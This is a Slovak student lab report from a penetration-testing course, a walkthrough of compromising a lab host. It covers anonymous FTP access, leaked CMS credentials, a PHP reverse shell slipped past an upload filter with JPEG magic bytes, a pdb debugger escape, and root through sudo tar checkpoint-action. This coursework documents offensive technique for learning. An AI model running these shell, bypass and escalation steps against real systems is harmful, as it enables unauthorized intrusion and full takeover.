# PENTEST_I Penetračné testovanie

**Študent**: Andrii Kostiushko
**Úloha**: Lab2

---

## **Task 1** (Získať malé privilégiá)

Najprv skontrolujeme, či je obeť dosiahnuteľná pomocou `ping`:

```
???(kali?attacker)-[~]
??$ ping -c 4 10.10.10.78
PING 10.10.10.78 (10.10.10.78) 56(84) bytes of data.
64 bytes from 10.10.10.78: icmp_seq=1 ttl=64 time=2.08 ms
64 bytes from 10.10.10.78: icmp_seq=2 ttl=64 time=1.31 ms
64 bytes from 10.10.10.78: icmp_seq=3 ttl=64 time=1.07 ms
64 bytes from 10.10.10.78: icmp_seq=4 ttl=64 time=1.19 ms

--- 10.10.10.78 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 1.073/1.412/2.081/0.395 ms
```

---

Ďalej spustíme `nmap`, aby sme zistili, ktoré porty sú otvorené a aké služby bežia:

```
???(kali?attacker)-[~]
??$ nmap -sV -sC 10.10.10.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-13 15:29 CEST
Nmap scan report for 10.10.10.78
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.10.50
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    5 ftp      ftp          4096 Oct 08 21:06 anonymous
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
```

```
|   256 cf:66:46:9c:15:3a:02:2b:23:0d:fd:e4:96:70:a1:ea (ECDSA)
|_  256 06:b5:4c:62:10:5d:9d:a4:47:db:cf:a4:2f:e1:07:82 (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-title: Startup
|_http-server-header: Apache/2.4.65 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds
```

Vidíme, že `Anonymous FTP login allowed` — teda povolené anonymné prihlásenie na FTP, čo znamená, že sa môžeme prihlásiť bez hesla použitím užívateľského mena `anonymous` a ľubovoľného hesla.

---

Teraz sa pripojíme cez `ftp`:

```
???(kali?attacker)-[~]
??$ ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
Name (10.10.10.78:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

---

Vo vnútri adresára použijeme `ls`, aby sme skontrolovali obsah:

```
ftp> ls
229 Entering Extended Passive Mode (|||45890|)
150 Here comes the directory listing.
drwxr-xr-x    5 ftp      ftp          4096 Oct 08 21:06 anonymous
226 Directory send OK.
ftp> cd anonymous
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||30733|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp        616238 Oct 08 21:06 funny.mp4
-rw-r--r--    1 ftp      ftp          3858 Oct 08 21:06 iris_data_set.csv
drwxr-xr-x    2 ftp      ftp          4096 Oct 08 21:06 notes
drwxr-xr-x    2 ftp      ftp          4096 Oct 08 21:06 pics
drwxr-xr-x    2 ftp      ftp          4096 Oct 08 21:06 templates
226 Directory send OK.
ftp>
```

A následne stiahneme všetko pomocou `mget`.

V súbore `note_for_peter.txt` nájdeme prihlasovacie údaje do CMS:

```
???(kali?attacker)-[~]
??$ cat note_for_peter.txt
Hey Peter,
credentials to our new CMS are peter:kypor0cks. The CMS is located in the same directory as
before.

Good luck!
```

---

Skúšame pristúpiť do CMS na `http://10.10.10.78`, ale nenachádzame zrejmé stránky. Preto použijeme `gobuster`, aby sme ich objavili:

```
???(kali?attacker)-[~]
??$ gobuster dir -u http://10.10.10.78 -w /usr/share/wordlists/dirb/common.txt -x
php,html,txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.78
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta.php             (Status: 403) [Size: 276]
/.hta                 (Status: 403) [Size: 276]
/.htaccess            (Status: 403) [Size: 276]
/.hta.html            (Status: 403) [Size: 276]
/.hta.txt             (Status: 403) [Size: 276]
/.htaccess.php        (Status: 403) [Size: 276]
/.htaccess.txt        (Status: 403) [Size: 276]
/.htaccess.html       (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/.htpasswd.txt        (Status: 403) [Size: 276]
/.htpasswd.php        (Status: 403) [Size: 276]
/.htpasswd.html       (Status: 403) [Size: 276]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.78/css/]
/dev                  (Status: 301) [Size: 231] [--> http://10.10.10.78/dev/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.78/images/]
/index.html           (Status: 200) [Size: 3041]
/index.html           (Status: 200) [Size: 3041]
/server-status        (Status: 403) [Size: 276]
Progress: 18452 / 18452 (100.00%)
```

```
==============================================================
Finished
==============================================================
```

Navštívime `http://10.10.10.78/dev` a potom prejdeme na `http://10.10.10.78/dev/admin`, kde použijeme nájdené prihlasovacie údaje.

---

Po krátkej analýze sme našli funkciu nahrávania súborov (file upload), čo nám dáva príležitosť nahrať vlastný skript.

Vytvorenie skriptu:

```
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
nano shell.php
```

Potom zmeníme `$ip = '127.0.0.1';` na `$ip = '10.10.10.50';` (naša Kali IP)
a `$port = 1234;` na `$port = 4444;` (váš zvolený port).

Otvoríme listener na našom porte:

```
nc -lnvp 4444
```

---

Nahrávanie `.php` súborov je blokované, rovnako aj premenované verzie ako `.php.jpg`.

Aby sme systém oklamali, pridáme do súboru JPEG hlavičku pred PHP obsah:

```
echo -e '\xFF\xD8\xFF\xE0' | cat - shell.php > shell.jpg.php
```

Týmto sa nám podarí súbor úspešne nahrať a spustiť cez tlačidlo „view“ na webovej stránke.

Skript bol úspešný — na našom listeneri sme získali pripojenie a máme tak malé privilégiá (shell).

---

Teraz hľadáme flag pomocou jednoduchého `find` príkazu:

```
find / -name "*.txt" | grep -i flag

/var/www/html/flag.txt
```

---

## **Task 2** (Získať zvýšené privilégiá)

Na začiatku skontrolujeme naše aktuálne privilégiá:

```
$ sudo -l
Matching Defaults entries for www-data on victim:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on victim:
    (archiver) NOPASSWD: /usr/bin/python3 /opt/backup_cms.py
```

Môžeme spúšťať niektoré `python` skripty ako iný používateľ — pozrieme si ich pomocou `cat`.

Po analýze `/opt/backup_cms.py` zistíme, že pri chybe sa aktivuje `pdb` (Python debugger), z ktorého je možné uniknúť do systémového shellu.

Aby sme vyvolali chybu, premeníme kritický súbor:

```
mv /var/www/html/dev/data/database.json /var/www/html/dev/data/database.json.backup
```

Teraz môžeme skript spustiť ako používateľ `archiver`:

```
sudo -u archiver /usr/bin/python3 /opt/backup_cms.py
```

To vyvolá výnimku a aktivuje `pdb`, odkiaľ môžeme získať shell:

```
(Pdb) import os
(Pdb) os.system("/bin/bash")
```

Keď získame shell s právami používateľa `archiver`, zostáva už len nájsť flag:

```
find /home/archiver -name "*.txt" 2>/dev/null
/home/archiver/flag.txt
```

---

## **Task 3** (Získať root privilégiá)

Na začiatku znova skontrolujeme aktuálne privilégiá (rovnako ako v predchádzajúcej úlohe):

```
sudo -l
Matching Defaults entries for archiver on victim:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User archiver may run the following commands on victim:
    (ALL) NOPASSWD: /usr/bin/tar *
```

Možnosť spúšťať `tar` ako root je veľmi silná — môžeme získať root priviégia jedným príkazom:

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Po spustení príkazu skontrolujeme `whoami`:

```
whoami
root
```

Vďaka `--checkpoint-action` sme získali root prístup.

Teraz môžeme nájsť finálny flag:

```
find / -name "*.txt" 2>/dev/null

/root/flag.txt
```